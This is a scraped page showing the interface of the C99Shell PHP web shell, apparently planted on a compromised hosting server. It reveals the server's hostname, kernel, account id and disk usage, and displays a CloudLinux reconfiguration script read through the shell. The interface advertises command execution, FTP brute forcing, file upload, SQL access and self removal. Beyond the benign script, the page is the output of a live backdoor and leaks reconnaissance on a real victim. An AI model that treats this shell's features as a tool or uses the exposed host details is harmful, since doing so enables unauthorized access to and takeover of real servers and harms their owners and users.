!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure/cli/   drwxr-xr-x
Free 293.83 GB of 429.69 GB (68.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cloudlinux-reconfigure.py (2.79 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/opt/cloudlinux/venv/bin/python -bb
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# https://cloudlinux.com/docs/LICENCE.TXT
#
import argparse
import enum
import logging
import sys

from clcommon.lib import cledition
from clconfigure import setup_logger
from clconfigure.spec import admin, shared, shared_pro, solo
from lve_utils.sentry import init_lve_utils_sentry_client

LOGS_PATH = '/var/log/cloudlinux/clcustomizer.log'


class TargetEdition(enum.Enum):
    ADMIN = 'admin'
    AUTO = 'auto'
    SHARED = 'shared'
    SHARED_PRO = 'shared_pro'
    SOLO = 'solo'


def _resolve_auto_target():
    """
    Resolves edition for 'auto' target.
    """
    if cledition.is_cl_solo_edition():
        return TargetEdition.SOLO.value
    if cledition.is_cl_admin_edition():
        return TargetEdition.ADMIN.value
    if cledition.is_cl_shared_edition():
        return TargetEdition.SHARED.value
    if cledition.is_cl_shared_pro_edition():
        return TargetEdition.SHARED_PRO.value
    raise NotImplementedError()


def main():
    """
    Entry point for this program.
    Parses arguments and calls needed methods.
    """
    setup_logger(None, LOGS_PATH)
    logging.debug('Executing "%s"', ' '.join(sys.argv))

    parser = argparse.ArgumentParser()
    subparsers = parser.add_subparsers(dest='action')
    reconfigure = subparsers.add_parser('reconfigure')
    reconfigure.add_argument('-t', '--target',
                             choices=[e.value for e in TargetEdition],
                             required=True)

    preconfigure = subparsers.add_parser('preconfigure')
    preconfigure.add_argument('-t', '--target',
                              choices=[e.value for e in TargetEdition],
                              required=True)

    args = parser.parse_args()
    if args.action is None:
        parser.print_help()
        return

    target = _resolve_auto_target() if args.target == 'auto' else args.target

    handlers = {
        TargetEdition.SOLO.value: solo,
        TargetEdition.ADMIN.value: admin,
        TargetEdition.SHARED.value: shared,
        TargetEdition.SHARED_PRO.value: shared_pro,
    }

    handler = handlers.get(target)
    if handler is None:
        raise ValueError(f'Unknown target {target}')

    actions = {
        'reconfigure': 'provision',
        'preconfigure': 'preprovision'
    }
    action = actions.get(args.action)
    if action is None:
        raise ValueError(f"Unknown action {args.action}")

    getattr(handler, action)(edition=target)


if __name__ == '__main__':
    logging.basicConfig(level=logging.INFO)

    init_lve_utils_sentry_client('clconfigure')
    try:
        main()
    finally:
        logging.info('You can find complete logs of the operation here: %s', LOGS_PATH)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0031 ]--